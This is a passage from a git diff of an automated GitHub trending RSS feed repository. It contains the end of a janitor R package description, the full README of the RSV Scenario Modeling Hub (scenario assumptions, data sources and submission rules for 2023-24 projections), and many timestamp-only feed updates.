#> Coach 100.0% (2) 0.0% (0)
#> Teacher 33.3% (3) 66.7% (6)
#> Total 41.7% (5) 58.3% (7)
</code></pre>
<p>Pipe that right into <code>knitr::kable()</code> in your RMarkdown report.</p>
<p>These modular adornments can be layered to reduce R’s deficit against Excel and SPSS when it comes to quick, informative counts. Learn more about <code>tabyl()</code> and the <code>adorn_</code> functions from the <a href="https://sfirke.github.io/janitor/articles/tabyls.html">tabyls vignette</a>.</p>
<h2><i class="fa fa-bullhorn" aria-hidden="true"></i> Contact me</h2>
<p>You are welcome to:</p>
<ul>
<li>submit suggestions and report bugs: <a href="https://github.com/sfirke/janitor/issues">https://github.com/sfirke/janitor/issues</a></li>
<li>let me know what you think on Mastodon: <a href="https://a2mi.social/@samfirke">@samfirke@a2mi.social</a></li>
<li>compose a friendly e-mail to: <img src="https://samfirke.com/wp-content/uploads/2016/07/email_address_whitespace_top.png" alt="samuel.firke AT gmail" width="210"></li>
</ul>
+
+
+ midas-network/rsv-scenario-modeling-hub
+ 2023-12-13T01:42:35Z
+ tag:github.com,2023-12-13:/midas-network/rsv-scenario-modeling-hub
+
+ <p>RSV Scenario Modeling Hub</p><hr><h1>RSV Scenario Modeling Hub</h1>
<p>Last updated: 27-10-2023 for <strong>Round 1 Scenarios</strong>.</p>
<h2>Rationale</h2>
<p>Even the best models of infectious disease transmission struggle to give accurate forecasts at time scales greater than 3-4 weeks due to unpredictable drivers like changing policy environments, behavior change, development of new control measures, and stochastic events. However, policy decisions around the course of infectious diseases, particularly emerging and seasonal infections, often require projections in the time frame of months. The goal of long-term projections is to compare outbreak trajectories under different scenarios, as opposed to offering a specific, unconditional estimate of what “will” happen. As such, long-term projections can guide longer-term decision-making while short-term forecasts are more useful for situational awareness and guiding immediate response.</p>
<p>We have specified a set of scenarios and target outcomes to allow alignment of model projections for collective insights. Scenarios have been designed in consultation with academic modeling teams and government agencies (e.g., CDC).</p>
<p>This repository follows the guidelines and standards outlined by the <a href="https://hubdocs.readthedocs.io/">hubverse</a>, which provides a set of data formats and open source tools for modeling hubs.</p>
<h2>How to participate</h2>
<p>The RSV Scenario Modeling Hub is open to any team willing to provide projections at the right temporal and spatial scales, with minimal gatekeeping. We only require that participating teams share point estimates and uncertainty bounds, along with a short model description and answers to a list of key questions about design. A major output of the projection hub is ensemble estimates of epidemic outcomes (e.g., infection, hospitalizations, and deaths), for different time points, intervention scenarios, and US jurisdictions.</p>
<p>Those interested to participate, please read the README file and email us at <a href="mailto:scenariohub@midasnetwork.us">scenariohub@midasnetwork.us</a> .</p>
<p>Model projections should be submitted via pull request to the <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/model-output/">model-output/</a> folder and associated metadata should be submitted at the same time to the <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/model-metadata/">model-metadata/</a> folder of this GitHub repository. Technical instructions for submission and required file formats can be found <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/model-output/README.md">here</a>, <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/model_metadata/README.md">here, for the metadata file</a> and in the <a href="https://github.com/midas-network/rsv-scenario-modeling-hub/wiki">Wiki</a>.</p>
<h2>Round 1: Impact of new interventions - Mid-season projections for the 2023-24 season</h2>
<p>The primary goal of SMH RSV Round 1 is to build capacity within the hub to model Respiratory Syncytial Virus (RSV) dynamics in the US and assess the feasibility of modeling this pathogen at the scale of the US given limited availability of epidemiological data. A secondary goal is to use nascent RSV modeling capabilities to generate ensemble projections for the impact of new interventions that are coming online during the 2023-24 season. We will consider 5 scenarios in total, following a 2*2 table describing the impact of long-acting monoclonals targeted at infants (first dimension, optimistic and pessimistic protection) and senior vaccination (second dimension, optimistic and pessimistic protection). A 5th counterfactual scenario will consider status quo RSV mitigation. Projections will be generated for a 29-week period, running Sun Nov 12, 2023 to Sat June 1, 2024. The scenario structure is as follows:</p>
<img src="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/rounds/round1_viz/rsv_round1.png">
<h3>Assumptions regarding RSV interventions</h3>
<p>Weekly cumulative age-specific coverage for vaccines and monoclonals are <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/auxiliary-data//vaccine_coverage/RSV_round1_Coverage_2023_2024.csv">provided</a>.</p>
<p>We describe important details of the planned implementation of RSV interventions below as well as our rationale for vaccine coverage and effectiveness assumptions.</p>
<h4>Implementation of RSV Interventions</h4>
<h5>Infants</h5>
<p>Long-acting monoclonal antibodies (nirsevimab) were <a href="https://www.cdc.gov/mmwr/volumes/72/wr/mm7234a4.htm">recommended</a> for prophylactic use in infants on August 3, 2023, and an <a href="https://emergency.cdc.gov/han/2023/han00499.asp#:~:text=In%20the%20context%20of%20limited,risk%20for%20severe%20RSV%20disease">update</a> due to limited availability in the 2023-24 season was issued on October 23, 2023. Current recommendations are that all infants aged <6 months who are born during or entering their first RSV season should be prioritized to receive the new monoclonals. Older children up to 19 months who are at increased risk for severe RSV disease should not be prioritized for the new monoclonals. Older children at high risk will continue to receive the older monoclonals used in prior years. <strong>We require that teams implement new monoclonal interventions in infants <6 months</strong>, while explicit consideration of interventions in older high-risk babies (a small fraction of all US babies, see later) is at teams’ discretion. The new long-acting monoclonals will be administered in most of the continental United States from October through the end of March, the months of highest RSV activity.</p>
<p>For infants < 6 months the process is as follows:</p>
<ul>
<li>during the RSV season Oct 2023-Mar 2024, a fraction of all newborns will receive long-acting monoclonals at birth (fraction based on weekly monoclonal coverage)</li>
<li>a fraction of infants who are born from Apr-Sep 2023 and are <6 months at the start of the season will receive a catch up dose of monoclonals during the RSV season, Oct 2023-Mar 2024 (also based on weekly coverage). No infant >= 6 months can receive monoclonals.</li>
</ul>
<h5>Seniors</h5>
<p>Senior RSV vaccination was <a href="https://www.cdc.gov/mmwr/volumes/72/wr/mm7229a4.htm">recommended</a> in July 2023 for individuals over 60 yrs. We recommend that teams consider vaccination in all individuals 60+ yrs, even though the hospitalisation target data is only available for individuals 65+ yrs. However the exact implementation of targeting 60+ yrs is left at teams’ discretion. Vaccination will proceed seasonally, similarly to the flu vaccine, between Sep 2023 (slightly slower start than flu vaccine) and June 2024. Because RSV is not a well known pathogen among seniors, and recommendations stipulate that vaccination should occur after consultation with a physician (unlike flu), we assume that the intervention will have limited uptake.</p>
<h5>Coverage assumptions</h5>
<p>We will index the coverage of RSV interventions on flu vaccine coverage in a given state and relevant age group to reflect different propensities of different states to adopt new health interventions. The roll out of RSV interventions is likely to be slow since it is the first year interventions have been approved, and there are shortages and fee reimbursement issues for infant interventions.</p>
<p>CDC flu vaccine curves from 2021-22 will be used to estimate anticipated coverage of RSV interventions (similarly to recent flu and COVID-19 rounds). Specifically, for infants, weekly interpolated flu coverage will be shifted by 2 months (monoclonals will start on Oct 1, 2023) and administration will end at the end of March 2024 to reflect i) a late start of RSV interventions in the 2023-24 season and ii) CDC recommendations. For seniors, we will use the actual timing of flu vaccination shifted by only one month since the RSV vaccine was recommended in the summer. For both infants and seniors, weekly flu vaccine estimates will be adjusted for the intended level of RSV coverage saturation. We generally expect real coverage in 2023-24 to track with our pessimistic coverage assumptions, while we have chosen optimistic levels of coverage that would reflect potential benefits in a future season with no shortage and more awareness of these interventions. <strong>Senior and infant vaccination coverage curves are provided for all projection weeks and target locations</strong>, in the <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/auxiliary-data/vaccine_coverage/">Github auxiliary data folder</a></p>
<h5>VE Assumptions</h5>
<p>We stipulate VE against hospitalizations for both senior vaccination and infant monoclonals, since severe RSV disease is the primary endpoint of most clinical trials (generally lower respiratory tract infection or RSV-associated hospitalizations, see literature below). Scenario assumption values are based on optimistic and pessimistic interpretation of the randomized control trial data. For seniors, VE values considered are <strong>70%</strong> (scenarios B, D) and <strong>90%</strong> (scenarios A, C).<br> For infants, VE values considered are <strong>60%</strong> (scenarios C, D) and <strong>80%</strong> (scenarios A, B).</p>
<p>RCTs – senior vaccines:</p>
<ul>
<li>GSK, <a href="https://www.nejm.org/doi/full/10.1056/NEJMoa2209604">Papi et al</a></li>
<li>Pfizer, <a href="https://www.nejm.org/doi/full/10.1056/NEJMoa2213836">Walsh et al</a></li>
</ul>
<p>RCTs in infants - Nirsevimab:</p>
<ul>
<li>Full term infants, <a href="https://www.nejm.org/doi/full/10.1056/NEJMoa2110275">Hammitt et al</a></li>
<li>Pre-term infants, <a href="https://www.nejm.org/doi/full/10.1056/nejmoa1913556">Griffin et al</a></li>
</ul>
<p>It is at teams’ discretion to proportionate VE values into protection against infection, protection against severe disease given infection, and any effect on transmission. However note that the current thinking and available data suggests a very limited protection against infection, <a href="https://www.nature.com/articles/s41591-023-02316-5">Wilkins et al</a>, if any. There is no data on transmission and the possible impact on these interventions on RSV shedding, so a small to moderate transmission effect cannot be ruled out.</p>
<h5>Assumptions about duration of protection</h5>
<p>We do not prescribe a specific duration of protection for senior vaccination or infant monoclonals. Teams can refer to existing literature cited in the above section. As a general guideline, monoclonals are expected to provide protection for a mean of 6 months, while senior protection remains relatively stable within 2 years of vaccination.</p>
<h5>Other RSV-specific interventions</h5>
<p>None of the scenarios consider maternal vaccination (to protect infants after birth) since maternal interventions are not expected to have high enough coverage to make a significant impact on the 2023-24 season at the time of scenario specification. Teams should not model maternal vaccines. Consideration of non-specific RSV interventions such as a low level of residual masking is allowed.</p>
<h5>Counterfactual scenario (scenario E)</h5>
<p>In this scenario, we consider no change to the historic policy of RSV mitigation, which consists in a limited coverage of palivizumab monoclonals to high-risk premature infants (~2% of the US birth cohort receives a partial or full dose, <a href="https://www.tandfonline.com/doi/full/10.4161/hv.32082">Ambrose et al</a>). The calibration data available from 2017-present takes into account the impact of this intervention. Teams have discretion to consider this policy explicitly or ignore it given the small fraction of infants covered. We note that high risk premature infants <6mo who previously would have received palivizumab (the older treatment) will now receive the new monoclonal nirsevimab, with comparable effectiveness. Due to shortages in 2023-24, older high risk babies will keep receiving palivizumab this season.</p>
<p>Fig 1: RSV vaccination coverage ramp up in seniors 60+ yrs</p>
<img src="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/rounds/round1_viz/SeniorRSV_Coverage_2023_2024.png">
<p>Fig 2: RSV monoclonals usage ramp up in infants <6 mo throughout the RSV season Oct-Mar</p>
<img src="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/rounds/round1_viz/InfantsRSV_Coverage_2023_2024.png">
<h3>RSV Model Calibration</h3>
<h4>RSV-NET Dataset</h4>
<p>Age- and state-specific data on laboratory-confirmed RSV hospitalization rates are available for 12 states and the US from RSV-NET spanning 2017-18 to present (<a href="https://www.cdc.gov/rsv/research/rsv-net/index.html">RSV-NET CDC Webpage</a>). RSV-NET is an RSV hospitalization surveillance network that collects data on laboratory-confirmed RSV-associated hospitalizations through a network of acute care hospitals in a subset of states (12 states as of August 2023). Age-specific weekly rates per 100,000 population are reported in this system.</p>
<p>The data has been standardized and posted on the <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/target-data/">SMH RSV github target-data/ folder</a> and is updated weekly. <strong>The target in this data is the weekly number of hospitalizations in each given state (inc_hosp variable), for all ages and by age group</strong>. To obtain counts, we have converted RSV-NET weekly rates based on state population sizes. This method assumes that RSV-NET hospitals are representative of the whole state. To obtain national US counts, we have used the rates provided for the “overall RSV-NET network”. The data covers 2017-present. Reported age groups include: [0-6 months[, [6-12 months[, [1-2 yr[, [2-4 yr[, [5-17 yr[, [18-49 yr[, [50-64 yr[, and 65+ years. The standardized dataset provided by SMH includes week- state- and age-specific RSV counts (the target), rates, and population sizes. <strong>Note that different states joined RSVnet in different years (between 2014 and 2018) while RSV surveillance throughout the network was initially limited to adults. Children RSV surveillance began in the 2018-19 season.</strong></p>
<p>The source of age distribution used for calibration (RSV-NET vs other estimates) should be provided in the abstract metadata that is submitted with the projections.</p>
<h4>Other RSV datasets available for calibration</h4>
<p>A few auxiliary datasets have been posted in the GitHub repositority <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/auxiliary-data/">auxiliary-data/ folder</a> including:</p>
<ul>
<li>state-specific CDC surveillance from NVERSS (only last year of data available)</li>
<li>state-specific ED data (only last year of data available)</li>
</ul>
<h3>Targets</h3>
<p>In this round, we will <strong>require submission of 100 individual trajectories for each target</strong> while <strong>submission of quantiles is optional</strong>. Targets will be based on the RSV-NET dataset. The required targets for trajectories <strong>will be weekly RSV incident hospital admissions (counts) in the 12 RSV-NET states, nationally for all ages, and for a set of minimal age groups; a more resolved set of age groups is strongly encouraged (see below)</strong>. Estimates of cumulative counts can be obtained from weekly trajectories and hence we do not require trajectories for cumulative counts. Similarly, peak targets (peak hospital admission magnitude and peak timing) can be reconstructed from weekly trajectories. Teams who wish to submit quantiles along with trajectories should provide quantiles for weekly and cumulative counts, as well as for hospital admission peak size and peak timing.</p>
<h4>Weekly targets</h4>
<ul>
<li>Weekly <em>reported</em> all-age and age-specific state-level incident hospital admissions, based on RSV-NET. This dataset is updated daily and covers 2017-2023. There should be no adjustment for reporting (=raw data from RSV-NET dataset to be projected). A current and standardized version of the weekly data has been posted <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/target-data/">here</a></li>
<li>No infection target</li>
<li>No case target</li>
<li>No death target</li>
<li>All targets should be numbers of individuals, rather than rates</li>
</ul>
<h4>Age target</h4>
<h5>Required</h5>
<ul>
<li>Hospital admissions should be provided for the following age groups: all ages, <1 yr, 1-4, 5-64, and 65+. (Most of the RSV burden on hospitalizations comes from the 0-1 and 65+ age groups)</li>
</ul>
<h5>Additional age details (optional)</h5>
<ul>
<li>Weekly state-specific and national RSV hospitalizations among individuals <1 yr, 1-4, 5-17, 18-49, 50-64, 65+, and all ages</li>
</ul>
<h4>Optional targets (if submitting quantiles in addition to trajectories)</h4>
<ul>
<li>Cumulative hospital admissions. Cumulative outcomes start at 0 at the start of projections, on Nov 12, 2023</li>
<li>State-level peak hospital admissions</li>
<li>State-level timing of peak hospital admission</li>
</ul>
<h3>Timeline</h3>
<ul>
<li><strong>Scenarios set (no changes after)</strong>: <em>Friday, Oct 27, 2023</em></li>
<li><strong>Projections due</strong>: <em>Tuesday, Nov 14, 2023</em></li>
<li><strong>Report finalized</strong>: <em>No later than November 24, 2023</em></li>
</ul>
<h3>Other specifications and assumptions</h3>
<h4>Overall RSV dynamics and severity</h4>
<p>Several reference studies are worth considering to set (or guide) RSV model parameters that cannot be estimated from the available hospitalization data. These include work by Ginny Pitzer and colleagues in the US (see <a href="https://pubmed.ncbi.nlm.nih.gov/25569275/">Pitzer et al</a> for state-specific models driven by environmental drivers in the pre-intervention era, including Table 2 for parameters; and <a href="https://pubmed.ncbi.nlm.nih.gov/36302926/">Zheng et al</a> for an updated model with interventions).<br> Risk of severity given infection was parametrized in these models based on children cohort studies in the US and Kenya: see <a href="https://pubmed.ncbi.nlm.nih.gov/15499540/">Nokes et al</a>, <a href="https://pubmed.ncbi.nlm.nih.gov/3706232/">Glezen et al</a>, and <a href="https://pubmed.ncbi.nlm.nih.gov/19196675/">Breese Hall at al</a>.</p>
<p>Since these studies have been published, there has been an increased recognition of the burden of RSV among seniors (see <a href="https://academic.oup.com/jid/article/223/1/147/585958">Jackson et al</a>, <a href="https://publications.aap.org/pediatrics/article/146/1/e20193611/37046/Respiratory-Syncytial-Virus-Associated">Rha et al</a>, and <a href="https://academic.oup.com/ofid/article/9/7/ofac300/6609557?login=false">McLaughlin et al</a></p>
<h4>Prior Immunity</h4>
<ul>
<li>Prior immunity is at each team’s discretion. Immunity against infection is waning rapidly for RSV; based on prior modeling work, estimates of duration of immunity against infection range between 200-365 days. However, immunity against severe disease can be more long-lasting and generally increases with age and number of prior infections (eg see discussion in <a href="https://pubmed.ncbi.nlm.nih.gov/25569275/">Pitzer et al</a>). Overall, most individuals will get reinfected multiple times throughout life, but severe RSV infections that lead to hospitalizations tend to only occur among young children and seniors. Maternal immunity is expected to be brief</li>
<li>Teams are allowed to vary prior immunity by age or other demographic characteristic, and state</li>
<li>Unlike influenza virus, antigenic evolution is not a key feature of RSV</li>
</ul>
<h4>COVID-19 Interactions</h4>
<ul>
<li>No major interactions with future COVID-19 and flu surges (e.g., immunological, social, behavioural) should be considered in this round</li>
<li>We note that many studies have reported that RSV circulation was perturbed during the COVID19 pandemic, as can be seen in the RSVnet data. Whether and how to fit the COVID19 pandemic period is left at teams discretion</li>
</ul>
<h4>Projection Period</h4>
<ul>
<li>Sun Nov 12, 2023 to Sat June 1, 2024 (29 weeks)</li>
</ul>
<h4>State-level variability</h4>
<ul>
<li>Variability in severity and <strong>reporting to RSV-NET</strong> between states is possible</li>
</ul>
<h4>Seasonality</h4>
<p>Teams should include their best estimates of RSV seasonality in their model but we do not prescribe a specific level of seasonal forcing.</p>
<h4>NPI</h4>
<p>No reactive NPIs to COVID-19 or influenza should be modeled in this round; low level masking is allowed at groups’ discretion.</p>
<h4>Seeding of RSV</h4>
<p>We leave seeding intensity, timing and geographic distribution at the discretion of the teams. In addition to the RSV-NET hospital admission dataset, CDC’s NVERSS <a href="https://github.com/midas-network/rsv-scenario-modeling-hub">viral surveillance dataset</a> is a good resource for state-specific information on epidemic intensity (e.g., weekly % positive, or weekly ILI*%positive), and can be used to adjust seeding.</p>
<h4>Initial Conditions</h4>
<p>Prior immunity and amount of infections at the start of the projection period is at the discretion of the teams based on their interpretation of the scenarios. Variation in initial prevalence between states is left at teams’ discretion.</p>
<p><strong>All of the teams’ specific assumptions should be documented in meta-data and abstract.</strong></p>
<h2>Submission Information</h2>
<table>
<thead>
<tr>
<th>Scenario</th>
<th align="center">Scenario name</th>
<th align="center">Scenario ID for submission file (<code>scenario_id</code>)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Scenario A. Optimistic protection from both senior and infant interventions</td>
<td align="center">optInf_optSen</td>
<td align="center">A-2023-10-27</td>
</tr>
<tr>
<td>Scenario B. Optimistic protection from infant monoclonals, Pessimistic protection from senior vaccination</td>
<td align="center">optInf_pessSen</td>
<td align="center">B-2023-10-27</td>
</tr>
<tr>
<td>Scenario C. Pessimistic protection from infant monoclonals, Optimistic protection from senior vaccination</td>
<td align="center">pessInf_optSen</td>
<td align="center">C-2023-10-27</td>
</tr>
<tr>
<td>Scenario D. Pessimistic protection from both senior and infant interventions</td>
<td align="center">pessInf_pessSen</td>
<td align="center">D-2023-10-27</td>
</tr>
<tr>
<td>Scenario E. Counterfactual</td>
<td align="center">counter_fact.</td>
<td align="center">E-2023-10-27</td>
</tr>
</tbody>
</table>
<ul>
<li><strong>Projection Due date</strong>: Tuesday, Nov 14, 2023</li>
<li><strong>End date for fitting data</strong>: Between Saturday Oct 28, 2023 and Saturday Nov 11, 2023</li>
<li><strong>Start date for scenarios</strong>: Sunday November 12, 2023 (first date of simulated transmission/outcomes)</li>
<li><strong>Simulation end date:</strong> June 1, 2024 (29-week horizon)</li>
<li>Desire to release results by late-November 2023</li>
</ul>
<h4>Other submission requirements</h4>
<ul>
<li> <p>Simulation trajectories: We ask that teams submit a sample of 100 simulation replicates. Simulations should be sampled in such a way that they will be most likely to produce the uncertainty of the simulated process. For some models, this may mean a random sample of simulations, for others with larger numbers of simulations, it may require weighted sampling. Trajectories will need to be paired across age groups (eg, for a given model, location, scenario and week, all age data for simulation 1 corresponds to the sum of age-specific estimates for simulation 1).</p> </li>
<li> <p>Geographic scope: state-level and national projections</p>
<ul>
<li>12 states or a subset of 12 states, US overall recommended.</li>
</ul> </li>
<li> <p>Results:</p>
<ul>
<li>Summary: Results must consist of a subset of weekly targets listed below; all are not required.</li>
<li>Weeks follow epi-weeks (Sun-Sat) dated by the last day of the week.</li>
<li><strong>Weekly Targets</strong>: Weekly incident hospitalizations by location, all ages and age-specific</li>
</ul> </li>
<li> <p>Metadata: We will require a brief meta-data form, from all teams.</p> </li>
<li> <p>Uncertainty:</p>
<ul>
<li>For trajectories (required submission): we require 100 trajectories.</li>
<li>For quantiles (optional submission) We ask for 0.01, 0.025, 0.05, every 5% to 0.95, 0.975, and 0.99. Teams are also encouraged to submit 0 (min value) and 1 (max) quantiles if possible.</li>
</ul> </li>
</ul>
<h2>Target data</h2>
<p>The <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/target-data/">target-data/</a> folder contains the RSV hospitalization data (also called "truth data") standardized from the <a href="https://data.cdc.gov/Public-Health-Surveillance/Weekly-Rates-of-Laboratory-Confirmed-RSV-Hospitali/29hc-w46k">Weekly Rates of Laboratory-Confirmed RSV Hospitalizations from the RSV-NET Surveillance System</a>.</p>
<p>The weekly hospitalization number per location are going to be used as truth data in the hub.</p>
<h2>Auxiliary Data</h2>
<p>The repository stores and updates additional data relevant to the RSV modeling efforts in the <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/auxiliary-data/">auxiliary-data/</a> folder:</p>
<ul>
<li> <p>Population and census data:</p>
<ul>
<li>National and State level name and fips code as used in the Hub and associated population size.</li>
<li>State level population size per year and per age from the US Census Bureau.</li>
</ul> </li>
<li> <p>Birth Rate:</p>
<ul>
<li>Birth Number and Rate per state and per year from 1995 to 2022 included.</li>
<li>Data from the US Census Bureau and from the Centers for Disease Control and Prevention, National Center for Health Statistics. National Vital Statistics System, Natality on CDC WONDER Online Database.</li>
</ul> </li>
<li> <p>RSV data:</p>
<ul>
<li>The National Respiratory and Enteric Virus Surveillance System (NREVSS) data at national and state level.</li>
<li>The <a href="https://data.cdc.gov/Public-Health-Surveillance/Weekly-Rates-of-Laboratory-Confirmed-RSV-Hospitali/29hc-w46k">Weekly Rates of Laboratory-Confirmed RSV Hospitalizations from the RSV-NET Surveillance System</a></li>
<li>The <a href="https://www.cdc.gov/ncird/surveillance/respiratory-illnesses/index.html">National Emergency Department Visits for COVID-19, Influenza, and Respiratory Syncytial Virus</a></li>
</ul> </li>
</ul>
<p>For more information, please consult the associated <a href="https://raw.githubusercontent.com/midas-network/rsv-scenario-modeling-hub/main/auxiliary-data/README.md">README file</a>.</p>
<h2>Data license and reuse</h2>
<p>All source code that is specific to the overall project is available under an open-source <a href="https://opensource.org/licenses/MIT">MIT license</a>. We note that this license does NOT cover model code from the various teams, model scenario data (available under specified licenses as described above) and auxiliary data.</p>
<h2>Computational power</h2>
<p>Those teams interested in accessing additional computational power should contact Katriona Shea at <a href="mailto:k-shea@psu.edu">k-shea@psu.edu</a>. Additional resources might be available from the <a href="https://midasnetwork.us">MIDAS Coordination Center</a> - please contact <a href="mailto:questions@midasnetwork.us">questions@midasnetwork.us</a> for information.</p>
<h2>The RSV Scenario Modeling Hub Coordination Team</h2>
<ul>
<li>Shaun Truelove, Johns Hopkins University</li>
<li>Cécile Viboud, NIH Fogarty</li>
<li>Justin Lessler, University of North Carolina</li>
<li>Sara Loo, Johns Hopkins University</li>
<li>Lucie Contamin, University of Pittsburgh</li>
<li>Emily Howerton, Penn State University</li>
<li>Claire Smith, Johns Hopkins University</li>
<li>Harry Hochheiser, University of Pittsburgh</li>
<li>Katriona Shea, Penn State University</li>
<li>Michael Runge, USGS</li>
<li>Erica Carcelen, John Hopkins University</li>
<li>Sung-mok Jung, University of North Carolina</li>
<li>Jessi Espino, University of Pittsburgh</li>
<li>John Levander, University of Pittsburgh</li>
<li>Samantha Bents, NIH Fogarty</li>
<li>Katie Yan, Penn State University</li>
</ul>
\ No newline at end of file
diff --git a/racket/daily/index.xml b/racket/daily/index.xml
index cd53563d7aa..6ac6f46b9cf 100644
--- a/racket/daily/index.xml
+++ b/racket/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Racket Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:56Z
+ 2023-12-13T01:42:47Z
Daily Trending of Racket in GitHub
\ No newline at end of file
diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml
index e51e75be95f..145bae2dc49 100644
--- a/ragel/daily/index.xml
+++ b/ragel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ragel Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:56Z
+ 2023-12-13T01:42:48Z
Daily Trending of Ragel in GitHub
\ No newline at end of file
diff --git a/raku/daily/index.xml b/raku/daily/index.xml
index 4e5385f807f..0541cc6fefc 100644
--- a/raku/daily/index.xml
+++ b/raku/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Raku Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:55Z
+ 2023-12-13T01:42:45Z
Daily Trending of Raku in GitHub
\ No newline at end of file
diff --git a/raml/daily/index.xml b/raml/daily/index.xml
index b51a97de241..a6a8b5a6498 100644
--- a/raml/daily/index.xml
+++ b/raml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RAML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:57Z
+ 2023-12-13T01:42:51Z
Daily Trending of RAML in GitHub
\ No newline at end of file
diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml
index d9da67ab8c2..dad216d453b 100644
--- a/rascal/daily/index.xml
+++ b/rascal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rascal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:58Z
+ 2023-12-13T01:42:55Z
Daily Trending of Rascal in GitHub
\ No newline at end of file
diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml
index ad1319737a1..5a00311b252 100644
--- a/raw-token-data/daily/index.xml
+++ b/raw-token-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Raw token data Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:00Z
+ 2023-12-13T01:42:54Z
Daily Trending of Raw token data in GitHub
\ No newline at end of file
diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml
index bc768fa266e..8022e62d5c5 100644
--- a/rdoc/daily/index.xml
+++ b/rdoc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RDoc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:59Z
+ 2023-12-13T01:42:53Z
Daily Trending of RDoc in GitHub
\ No newline at end of file
diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml
index 217a9bc152e..917c11a00aa 100644
--- a/readline-config/daily/index.xml
+++ b/readline-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Readline Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:01Z
+ 2023-12-13T01:42:56Z
Daily Trending of Readline Config in GitHub
\ No newline at end of file
diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml
index 3218c2db4a6..549ae0c8dc6 100644
--- a/realbasic/daily/index.xml
+++ b/realbasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub REALbasic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:02Z
+ 2023-12-13T01:42:58Z
Daily Trending of REALbasic in GitHub
\ No newline at end of file
diff --git a/reason/daily/index.xml b/reason/daily/index.xml
index 631694748b2..b5a41629916 100644
--- a/reason/daily/index.xml
+++ b/reason/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Reason Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:03Z
+ 2023-12-13T01:42:59Z
Daily Trending of Reason in GitHub
\ No newline at end of file
diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml
index b7f6c9a44eb..eaf8f53eb15 100644
--- a/rebol/daily/index.xml
+++ b/rebol/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rebol Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:04Z
+ 2023-12-13T01:43:00Z
Daily Trending of Rebol in GitHub
\ No newline at end of file
diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml
index cb8acf1cf22..0fd7045d300 100644
--- a/record-jar/daily/index.xml
+++ b/record-jar/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Record Jar Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:07Z
+ 2023-12-13T01:43:01Z
Daily Trending of Record Jar in GitHub
\ No newline at end of file
diff --git a/red/daily/index.xml b/red/daily/index.xml
index af2b111b571..86d75119376 100644
--- a/red/daily/index.xml
+++ b/red/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Red Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:05Z
+ 2023-12-13T01:43:02Z
Daily Trending of Red in GitHub
\ No newline at end of file
diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml
index d59c4df9e94..da16cf61847 100644
--- a/redcode/daily/index.xml
+++ b/redcode/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Redcode Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:06Z
+ 2023-12-13T01:43:01Z
Daily Trending of Redcode in GitHub
\ No newline at end of file
diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml
index 86962cba60b..a33e2418a14 100644
--- a/redirect-rules/daily/index.xml
+++ b/redirect-rules/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Redirect Rules Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:08Z
+ 2023-12-13T01:43:05Z
Daily Trending of Redirect Rules in GitHub
\ No newline at end of file
diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml
index 07a8d681e9c..986b1eb2c72 100644
--- a/regular-expression/daily/index.xml
+++ b/regular-expression/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Regular Expression Daily Trending
